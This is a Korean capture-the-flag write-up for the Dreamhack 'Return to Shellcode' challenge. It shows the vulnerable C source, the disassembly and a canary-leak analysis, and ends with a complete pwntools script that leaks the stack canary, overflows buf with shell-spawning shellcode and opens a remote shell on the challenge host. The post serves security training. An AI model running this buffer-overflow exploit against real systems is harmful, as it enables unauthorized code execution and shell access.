본문 바로가기

드림핵 워게임

[드림핵/워게임] Return to Shellcode

https://dreamhack.io/wargame/challenges/352

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

 

문제 파일을 다운 받으면 r2s.c와 실행 파일이 있다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

1. 버프의 주소 출력

2. buf와 rbp 주소 차이 출력

3. buf에 0x100만큼 입력 받음

4. 입력된 buf 값 출력

5. 다시 한번 gets로 buf에 입력

 

checksec을 통해 카나리가 있는 것을 볼 수 있다.

0x00000000000008cd <+0>:     push   rbp
   0x00000000000008ce <+1>:     mov    rbp,rsp
   0x00000000000008d1 <+4>:     sub    rsp,0x60
   0x00000000000008d5 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000008de <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000008e2 <+21>:    xor    eax,eax
   0x00000000000008e4 <+23>:    mov    eax,0x0
   0x00000000000008e9 <+28>:    call   0x88a <init>
   0x00000000000008ee <+33>:    lea    rax,[rbp-0x60]
   0x00000000000008f2 <+37>:    mov    rsi,rax
   0x00000000000008f5 <+40>:    lea    rdi,[rip+0x16c]        # 0xa68
   0x00000000000008fc <+47>:    mov    eax,0x0
   0x0000000000000901 <+52>:    call   0x720 <printf@plt>
   0x0000000000000906 <+57>:    mov    rax,rbp
   0x0000000000000909 <+60>:    mov    rdx,rax
   0x000000000000090c <+63>:    lea    rax,[rbp-0x60]
   0x0000000000000910 <+67>:    sub    rdx,rax
   0x0000000000000913 <+70>:    mov    rax,rdx
   0x0000000000000916 <+73>:    mov    rsi,rax
   0x0000000000000919 <+76>:    lea    rdi,[rip+0x160]        # 0xa80
   0x0000000000000920 <+83>:    mov    eax,0x0
   0x0000000000000925 <+88>:    call   0x720 <printf@plt>
   0x000000000000092a <+93>:    lea    rdi,[rip+0x173]        # 0xaa4
   0x0000000000000931 <+100>:   call   0x700 <puts@plt>
   0x0000000000000936 <+105>:   lea    rdi,[rip+0x17b]        # 0xab8
   0x000000000000093d <+112>:   mov    eax,0x0
   0x0000000000000942 <+117>:   call   0x720 <printf@plt>
   0x0000000000000947 <+122>:   mov    rax,QWORD PTR [rip+0x2006c2]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x000000000000094e <+129>:   mov    rdi,rax
   0x0000000000000951 <+132>:   call   0x750 <fflush@plt>
   0x0000000000000956 <+137>:   lea    rax,[rbp-0x60]
   0x000000000000095a <+141>:   mov    edx,0x100
   0x000000000000095f <+146>:   mov    rsi,rax
   0x0000000000000962 <+149>:   mov    edi,0x0
   0x0000000000000967 <+154>:   call   0x730 <read@plt>
   0x000000000000096c <+159>:   lea    rax,[rbp-0x60]
   0x0000000000000970 <+163>:   mov    rsi,rax
   0x0000000000000973 <+166>:   lea    rdi,[rip+0x146]        # 0xac0
   0x000000000000097a <+173>:   mov    eax,0x0
   0x000000000000097f <+178>:   call   0x720 <printf@plt>
   0x0000000000000984 <+183>:   lea    rdi,[rip+0x14d]        # 0xad8
   0x000000000000098b <+190>:   call   0x700 <puts@plt>
   0x0000000000000990 <+195>:   lea    rdi,[rip+0x121]        # 0xab8
   0x0000000000000997 <+202>:   mov    eax,0x0
   0x000000000000099c <+207>:   call   0x720 <printf@plt>
   0x00000000000009a1 <+212>:   mov    rax,QWORD PTR [rip+0x200668]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x00000000000009a8 <+219>:   mov    rdi,rax
   0x00000000000009ab <+222>:   call   0x750 <fflush@plt>
   0x00000000000009b0 <+227>:   lea    rax,[rbp-0x60]
   0x00000000000009b4 <+231>:   mov    rdi,rax
   0x00000000000009b7 <+234>:   mov    eax,0x0
   0x00000000000009bc <+239>:   call   0x740 <gets@plt>
   0x00000000000009c1 <+244>:   mov    eax,0x0
   0x00000000000009c6 <+249>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000000009ca <+253>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000000009d3 <+262>:   je     0x9da <main+269>
   0x00000000000009d5 <+264>:   call   0x710 <__stack_chk_fail@plt>
   0x00000000000009da <+269>:   leave
   0x00000000000009db <+270>:   ret

메인 함수의 어셈이다.

프롤로그와 에필로그 부분에서 카나리가 rbp - 0x8에 위치해 있는 것을 볼 수 있다.

buf: rbp - 0x60

dump: rbp - 0x10

canary: rbp - 0x8

스택을 그림으로 그려 보면 다음과 같다.

 

rbp - 0x8은 사실상 널바이트이므로 rbp - 0x7부터의 값을 구하면 된다.

처음 buf를 입력할 때, rbp - 0x8까지 아무 값이나 입력하면 buf를 출력하면서 canary 값이 같이 출력될 것이다.

 

buf에 shellcode를 넣고, canary 전까지 아무 값이나 채운 후, 앞서 알아낸 canary 값을 넣고, RET 전까지 아무 값이나 다시 넣고 RET에 buf의 주소를 넣어 주면, buf에 들어 있는 Shellcode가 실행되면서 셸을 획득할 수 있을 것으로 보인다.

 

정리

1. rbp - 0x8 까지 아무 값이나 넣어 buf를 출력할 때 canary 값을 같이 출력

2. 알아낸 canary 값을 토대로 payload 작성

3. payload = shellcode(0x30바이트임) + 아무 값 * 0x28 + canary + 아무 값 * 0x8 + buf의 주소

 

 

위 내용을 바로 코드로 작성해 보면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 10183)

context.arch = "amd64"

p.recvuntil('buf: ')
buf = int(p.recv(14), 16)

payload = b'A'*0x59
p.sendafter(b'Input: ', payload)
p.recvuntil(payload)

canary = u64(b"\x00" + p.recv(7))

payload = asm(shellcraft.sh())
payload += b"A"*0x28
payload += p64(canary)
payload += b"A"*0x8
payload += p64(buf)

p.sendafter(b'Input: ', payload)


p.interactive()

'드림핵 워게임' 카테고리의 다른 글

[드림핵/워게임] ssp_001  (0) 2023.08.10
[드림핵/워게임] ssp_000  (0) 2023.08.10
[드림핵/워게임] web-ssrf  (0) 2023.08.03
[드림핵/워게임] Carve Party  (0) 2023.08.03
[드림핵/워게임] command-injection-1  (0) 2023.08.03